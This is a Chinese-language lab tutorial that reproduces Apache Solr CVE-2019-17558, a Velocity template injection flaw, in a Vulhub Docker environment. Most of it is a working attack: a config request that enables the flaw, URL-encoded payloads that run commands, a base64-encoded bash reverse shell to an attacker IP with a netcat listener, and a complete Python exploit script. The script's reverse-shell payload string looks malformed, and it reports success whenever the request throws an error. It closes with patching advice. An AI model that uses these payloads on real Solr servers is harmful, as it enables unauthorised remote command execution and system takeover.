实战复现Apache Solr CVE-2019-17558漏洞:从环境搭建到Shell获取

在网络安全领域,漏洞复现是提升实战能力的重要途径。本文将带您一步步复现Apache Solr中的CVE-2019-17558漏洞,这是一个存在于Solr 5.0.0至8.3.1版本中的远程命令执行漏洞。通过Velocity模板注入,攻击者可以在目标系统上执行任意命令。

1. 实验环境准备

复现漏洞前,我们需要搭建一个包含漏洞的测试环境。推荐使用Docker快速部署Vulhub中的漏洞环境,这能避免污染本地系统。

首先确保系统已安装Docker和Docker Compose。在终端执行以下命令检查版本:

docker --version
docker-compose --version

如果未安装,可以参考官方文档进行安装。接下来,我们拉取Vulhub仓库并启动Solr 8.3.1环境:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-17558
docker-compose up -d

环境启动后,Solr服务将运行在8983端口。可以通过浏览器访问 http://localhost:8983 验证是否成功启动。

常见问题排查:

  • 如果端口冲突,可以修改docker-compose.yml中的端口映射
  • 如果容器启动失败,检查系统资源是否充足
  • 确保防火墙未阻止Docker网络

2. 漏洞原理分析

CVE-2019-17558漏洞源于Apache Solr的Velocity响应写入器(VelocityResponseWriter)功能。当Solr配置不当,允许用户提供自定义Velocity模板时,攻击者可以利用Velocity的模板特性执行任意Java代码。

漏洞利用需要满足两个条件:

  1. params.resource.loader.enabled 配置为true
  2. 攻击者能够控制Velocity模板内容

Velocity模板引擎本身支持执行Java代码,这在设计上是正常功能,但Solr未对模板内容进行充分验证,导致攻击者可以通过精心构造的请求实现远程代码执行。

3. 漏洞利用步骤

3.1 确认Solr核心名称

首先需要确定目标Solr实例中的核心名称。Solr可以管理多个核心,每个核心相当于一个独立的搜索索引。通过以下API获取核心列表:

curl "http://localhost:8983/solr/admin/cores?indexInfo=false&wt=json"

在Vulhub环境中,通常会有一个名为"demo"的核心。如果使用其他环境,核心名称可能不同。

3.2 启用Velocity模板功能

默认情况下,Solr不允许用户提供自定义Velocity模板。我们需要通过修改配置来启用这一功能。发送以下POST请求:

curl -X POST -H "Content-Type: application/json" -d '{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}' "http://localhost:8983/solr/demo/config"

成功执行后,服务器将返回类似以下响应:

{"responseHeader":{"status":0,"QTime":123}}

3.3 执行简单命令验证漏洞

配置完成后,我们可以尝试执行简单命令验证漏洞是否存在。以下请求将执行 hostname 命令并返回结果:

http://localhost:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27hostname%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

URL解码后的模板内容如下:

#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('hostname'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

3.4 获取反弹Shell

为了获得更持久的访问权限,我们可以设置反弹Shell。由于 Runtime.exec() 不支持管道符等bash特性,我们需要对命令进行编码处理。

首先准备反弹Shell命令,假设攻击机IP为192.168.1.100,监听端口为4444:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

将命令进行Base64编码:

echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" | base64

得到编码结果后,构造以下URL:

http://localhost:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20{echo%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ%3D%3D}|{base64%2C-d}|{bash%2C-i}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在攻击机上使用netcat监听4444端口:

nc -lvnp 4444

执行漏洞利用请求后,应该能在netcat会话中获得Shell。

4. 自动化利用脚本

为了简化利用过程,我们可以编写Python脚本自动化执行上述步骤。以下是一个简单的PoC脚本:

import requests
import sys
import base64

def exploit(target, core, lhost, lport):
    # 启用Velocity配置
    config_url = f"{target}/solr/{core}/config"
    config_data = {
        "update-queryresponsewriter": {
            "startup": "lazy",
            "name": "velocity",
            "class": "solr.VelocityResponseWriter",
            "template.base.dir": "",
            "solr.resource.loader.enabled": "true",
            "params.resource.loader.enabled": "true"
        }
    }
    
    try:
        r = requests.post(config_url, json=config_data)
        if r.status_code != 200:
            print("[-] 配置更新失败")
            return False
    except Exception as e:
        print(f"[-] 配置更新错误: {e}")
        return False
    
    # 准备反弹Shell命令
    cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    b64_cmd = base64.b64encode(cmd.encode()).decode()
    payload = f"bash -c $@|base64 -d|bash -i echo {b64_cmd}"
    
    # 构造Velocity模板
    template = f"""#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime')) 
#set($chr=$x.class.forName('java.lang.Character')) 
#set($str=$x.class.forName('java.lang.String')) 
#set($ex=$rt.getRuntime().exec('{payload}')) 
$ex.waitFor() 
#set($out=$ex.getInputStream()) 
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"""
    
    # URL编码
    params = {
        "q": "1",
        "wt": "velocity",
        "v.template": "custom",
        "v.template.custom": template
    }
    
    try:
        print("[+] 发送漏洞利用请求...")
        requests.get(f"{target}/solr/{core}/select", params=params, timeout=5)
    except:
        print("[+] 请求发送完成,请检查监听器")
        return True
    
    return False

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print(f"用法: {sys.argv[0]} <目标URL> <核心名称> <监听IP> <监听端口>")
        sys.exit(1)
    
    target = sys.argv[1]
    core = sys.argv[2]
    lhost = sys.argv[3]
    lport = sys.argv[4]
    
    print(f"[*] 尝试利用 {target} 上的Solr漏洞...")
    if exploit(target, core, lhost, lport):
        print("[+] 漏洞利用成功,请检查Shell")
    else:
        print("[-] 漏洞利用失败")

使用脚本示例:

python solr_rce.py http://localhost:8983 demo 192.168.1.100 4444

5. 漏洞修复建议

完成漏洞复现后,请务必关闭测试环境:

docker-compose down

对于生产环境中的Solr实例,应采取以下防护措施:

  1. 升级Solr版本 :Apache官方已在新版本中修复此漏洞,建议升级到8.3.1之后的版本
  2. 禁用Velocity模板 :如不需要Velocity功能,可在solrconfig.xml中禁用VelocityResponseWriter
  3. 网络隔离 :将Solr服务置于内网,限制外部访问
  4. 最小权限原则 :运行Solr服务的账户应具有最小必要权限

注意:本文所述技术仅限授权测试和学习使用,未经授权对他人系统进行测试是违法行为。

更多推荐